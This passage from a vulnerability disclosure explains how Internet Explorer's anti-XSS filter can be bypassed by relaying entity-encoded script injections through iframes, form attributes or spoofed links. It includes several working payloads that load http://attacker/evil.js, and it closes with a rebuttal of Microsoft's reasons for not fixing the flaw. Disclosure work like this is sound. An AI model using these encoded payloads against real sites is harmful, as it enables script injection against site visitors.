To return to the iframe example, instead of the obviously malicious injection, a slightly modified injection will be used:

Partial Decimal Encoding:
GET http://vulnerable-iframe/inject?xss=%3Cs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%20s%26%23114%3B%26%2399%3B%3Dht%26%23116%3Bp%3A%2F%2Fa%26%23116%3Bta%26%2399%3Bker%2Fevil%2Ejs%3E%3C%2Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%3E

which reflects as:

<iframe src="http://vulnerable-page/?vulnparam=<s&#99;&#114;i&#112;t s&#114;&#99;=ht&#116;p://a&#116;ta&#99;ker/evil.js></s&#99;&#114;i&#112;t>"></iframe>


Partial Hexadecimal Encoding:
GET http://vulnerable-iframe/inject?xss=%3Cs%26%23x63%3Bri%26%23x70%3Bt%20s%26%23x72%3Bc%3Dhttp%3A%2F%2Fatta%26%23x63%3Bker%2Fevil%2Ejs%3E%3C%2Fs%26%23x63%3Bri%26%23x70%3Bt%3E

which reflects as:

<iframe src="http://vulnerable-page/?vulnparam=<s&#x63;ri&#x70;t s&#x72;c=http://atta&#x63;ker/evil.js></s&#x63;ri&#x70;t>"></iframe>

Internet Explorer’s anti-XSS filter does not see either of those injections as potentially malicious, and the reflections of the untrusted data in the initial request are marked as trusted data and will not be subject to future filtering.

The browser, however, sees those injections, and will decode them before including them in the automatically generated request for the vulnerable page. So when the following request is made from the iframe definition:

GET http://vulnerable-page/?vulnparam=%3Cscript%20src%3Dhttp%3A%2F%2Fattacker%2Fevil%2Ejs%3E%3C%2Fscript%3E

Internet Explorer’s anti-XSS filter will ignore the request completely, allowing it to reflect on the vulnerable page as:

Some text <script src=http://attacker/evil.js></script> some more text

Unfortunately (or fortunately, depending on your point of view), this methodology is not limited to iframes. Any place where an injection lands in the attribute space of an HTML element, which is then relayed onto a vulnerable page on the same domain, can be used. Form submissions where the injection reflects either inside the "action" attribute of the form element or in the "value" attribute of an input element are two other instances that may be used in the same manner as with the iframe example above.

Beyond that, in cases where there is only the single page where:

GET http://vulnerable-page/?xss=%3Ctest-injection%3E

reflects as:

Some text <test-injection> some more text

the often under-appreciated sibling of Cross Site Scripting, Content Spoofing, can be utilized to perform the same attack. In this example, an attacker would craft a link that would reflect on the page as:

Some text <div style=some-css-elements><a href=?xss=&#x3C;s&#x63;ri&#x70;t&#x20;s&#x72;c&#x3D;htt&#x70;://atta&#x63;ker/evil.js&#x3E;&#x3C;/s&#x63;ri&#x70;t&#x3E;>Requested page has moved here</a></div> some more text

Then when the victim clicks the link, the same page is called, but now with the injection being fully decoded:

Some text <script src=http://attacker/evil.js></script> some more text

This is the flaw in Internet Explorer’s anti-XSS filter. It only looks for injections that might immediately result in JavaScript code execution. Should an attacker find a way to relay the injection within the same domain — be it by frames/iframes, form submissions, embedded links, or some other method — the untrusted data injected in the initial request will be treated as trusted data in subsequent requests, completely bypassing Internet Explorer’s anti-Cross Site Scripting filter.

Afterword: >

After Microsoft made its decision not to work on a fix for this issue, it was requested that the following link to their design philosophy blog post be included in any public disclosures that may occur. In particular the third category, which discusses "application-specific transformations" and the possibility of an application that would "ROT13 decode" values before reflecting them, was pointed to in Microsoft’s decision to allow this flaw to continue to exist.

The "ROT13 decode" and "application-specific transformations" mentions do not apply. Everything noted above is part of the official HTML standard, and has been so since at least 1998 — if not earlier. There is no "only appears in this one type of application" functionality being used. The XSS injection reflects in the attribute space of an element and is then relayed onto a vulnerable page (either another page, or back to itself) where it then executes.

Additionally, the usage of decimal and hexadecimal encodings are not the flaw, but rather two implementations that make use of the method that exploits the flaw. Often simple URL/URI-encodings (mentioned as early as 1994 in RFC 1630) can be used in their place.

The flaw with Internet Explorer’s anti-XSS filter is that injected untrusted data can be turned into trusted data and that injected trusted data is not subject to validation by Internet Explorer’s anti-XSS filter.

Post Script:

The author has adapted this post from his original work, which can be found here: